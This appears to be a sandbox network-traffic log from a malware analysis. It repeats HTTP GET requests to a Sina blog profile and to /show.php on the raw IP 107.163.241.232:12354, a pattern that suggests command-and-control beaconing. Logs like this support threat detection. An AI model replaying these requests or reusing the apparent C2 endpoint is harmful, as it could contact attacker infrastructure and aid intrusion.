Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
